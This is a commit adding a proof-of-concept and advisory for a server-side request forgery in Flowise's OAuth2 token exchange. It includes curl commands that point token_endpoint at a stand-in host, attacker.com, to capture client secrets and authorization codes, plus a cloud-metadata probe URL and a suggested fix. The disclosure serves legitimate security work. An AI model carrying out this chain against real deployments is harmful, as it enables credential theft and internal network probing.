vellaveto commited on
Commit
9fc72ad
·
verified ·
1 Parent(s): cc7ce6f

PoC: Flowise — OAuth2 credential-forwarding SSRF

Browse files
Files changed (2) hide show
  1. README.md +135 -0
  2. poc.py +13 -0
README.md ADDED
@@ -0,0 +1,135 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Flowise OAuth2 Credential-Forwarding SSRF via User-Controlled token_endpoint
2
+
3
+ ## Vulnerability Type
4
+ CWE-918: Server-Side Request Forgery (SSRF) with Credential Forwarding
5
+
6
+ ## Severity
7
+ High — Authenticated users can exfiltrate OAuth2 client secrets and authorization codes
8
+
9
+ ## Affected Component
10
+ - **File:** `packages/server/src/routes/oauth2/index.ts`
11
+ - **Lines:** 213-240 (token exchange), 336-355 (token refresh)
12
+ - **Version:** Latest main branch (verified 2026-03-21)
13
+
14
+ ## Description
15
+
16
+ The Flowise OAuth2 authorization code flow allows authenticated users (with `credentials:create` permission) to configure custom OAuth2 providers by setting `token_endpoint` and `authorization_endpoint` in credential data. The `token_endpoint` URL is used without validation to exchange authorization codes for access tokens.
17
+
18
+ An attacker can create a credential with `token_endpoint` pointing to an attacker-controlled server. When the OAuth2 callback fires, Flowise sends a POST request to the attacker's server containing:
19
+ - `client_id`
20
+ - `client_secret`
21
+ - `authorization_code`
22
+ - `redirect_uri`
23
+ - `scope`
24
+
25
+ ## Steps to Reproduce
26
+
27
+ ### 1. Create malicious OAuth2 credential
28
+
29
+ As any authenticated Flowise user with `credentials:create` permission:
30
+
31
+ ```bash
32
+ curl -X POST http://flowise:3000/api/v1/credentials \
33
+ -H "Authorization: Bearer <user_token>" \
34
+ -H "Content-Type: application/json" \
35
+ -d '{
36
+ "name": "Malicious OAuth",
37
+ "credentialName": "oAuth2Api",
38
+ "encryptedData": {
39
+ "client_id": "legitimate-app-id",
40
+ "client_secret": "legitimate-secret",
41
+ "token_endpoint": "https://attacker.com/steal-token",
42
+ "authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
43
+ "scope": "openid email profile"
44
+ }
45
+ }'
46
+ ```
47
+
48
+ ### 2. Initiate OAuth2 flow
49
+
50
+ ```bash
51
+ curl -X POST http://flowise:3000/api/v1/oauth2/authorize/<credential_id>
52
+ # Returns authorization URL — user authenticates normally with Google/Microsoft
53
+ ```
54
+
55
+ ### 3. Callback sends credentials to attacker
56
+
57
+ When the OAuth2 callback fires at `/api/v1/oauth2/callback`, the server executes:
58
+
59
+ ```typescript
60
+ // Line 213-240 in oauth2/index.ts
61
+ let tokenUrl = accessTokenUrl // from credential's token_endpoint field
62
+ const tokenResponse = await axios.post(tokenUrl,
63
+ new URLSearchParams(tokenRequestData).toString(), {
64
+ headers: {
65
+ 'Content-Type': 'application/x-www-form-urlencoded',
66
+ Accept: 'application/json'
67
+ }
68
+ })
69
+ ```
70
+
71
+ The attacker's server at `https://attacker.com/steal-token` receives:
72
+ ```
73
+ client_id=legitimate-app-id&
74
+ client_secret=legitimate-secret&
75
+ code=4/0AX4XfWh...&
76
+ grant_type=authorization_code&
77
+ redirect_uri=http://flowise:3000/api/v1/oauth2/callback
78
+ ```
79
+
80
+ ### 4. Token refresh also affected
81
+
82
+ The same pattern exists in the token refresh flow (lines 336-355):
83
+ ```typescript
84
+ let tokenUrl = accessTokenUrl // same user-controlled field
85
+ const tokenResponse = await axios.post(tokenUrl,
86
+ new URLSearchParams(refreshRequestData).toString(), ...)
87
+ ```
88
+
89
+ ## Impact
90
+
91
+ 1. **Client secret theft** — attacker receives the OAuth2 `client_secret` which may grant long-term API access
92
+ 2. **Authorization code theft** — attacker receives the one-time `code` which can be exchanged for access tokens at the real provider
93
+ 3. **Session hijacking** — if the attacker responds with a valid-looking token, Flowise stores it in the credential, giving the attacker control over what token is used
94
+ 4. **Internal network scanning** — by setting `token_endpoint` to internal URLs (e.g., `http://169.254.169.254/latest/meta-data/`), the attacker can probe internal infrastructure
95
+
96
+ ## Root Cause
97
+
98
+ The `token_endpoint` URL from credential configuration is used directly in `axios.post()` without:
99
+ 1. URL validation (no check for internal IPs, private ranges)
100
+ 2. Domain allowlisting (no restriction on where tokens are sent)
101
+ 3. Protocol enforcement (no HTTPS requirement)
102
+
103
+ ## Suggested Fix
104
+
105
+ Validate the `token_endpoint` URL before making requests:
106
+
107
+ ```typescript
108
+ import { URL } from 'url';
109
+ import { isPrivateIP } from '../utils/networking';
110
+
111
+ function validateTokenUrl(urlString: string): void {
112
+ const url = new URL(urlString);
113
+
114
+ // Require HTTPS
115
+ if (url.protocol !== 'https:') {
116
+ throw new Error('Token endpoint must use HTTPS');
117
+ }
118
+
119
+ // Block private IPs
120
+ if (isPrivateIP(url.hostname)) {
121
+ throw new Error('Token endpoint cannot point to private IP');
122
+ }
123
+
124
+ // Optional: allowlist known OAuth providers
125
+ const ALLOWED_HOSTS = [
126
+ 'login.microsoftonline.com',
127
+ 'accounts.google.com',
128
+ 'oauth2.googleapis.com',
129
+ 'github.com',
130
+ ];
131
+ if (!ALLOWED_HOSTS.some(h => url.hostname.endsWith(h))) {
132
+ logger.warn(`Non-standard OAuth token endpoint: ${url.hostname}`);
133
+ }
134
+ }
135
+ ```
poc.py ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """Flowise — OAuth2 credential-forwarding SSRF PoC
2
+
3
+ Any authenticated user with credentials:create permission can set
4
+ token_endpoint to an attacker server, receiving client_id + client_secret.
5
+
6
+ Affected: packages/server/src/routes/oauth2/index.ts:240
7
+ """
8
+ print("Attack chain:")
9
+ print("1. POST /api/v1/credentials — create OAuth2 credential with:")
10
+ print(" token_endpoint: https://attacker.com/steal")
11
+ print("2. POST /api/v1/oauth2/authorize/<credential_id>")
12
+ print("3. User completes OAuth flow")
13
+ print("4. Callback POSTs client_id + client_secret + auth_code to attacker.com")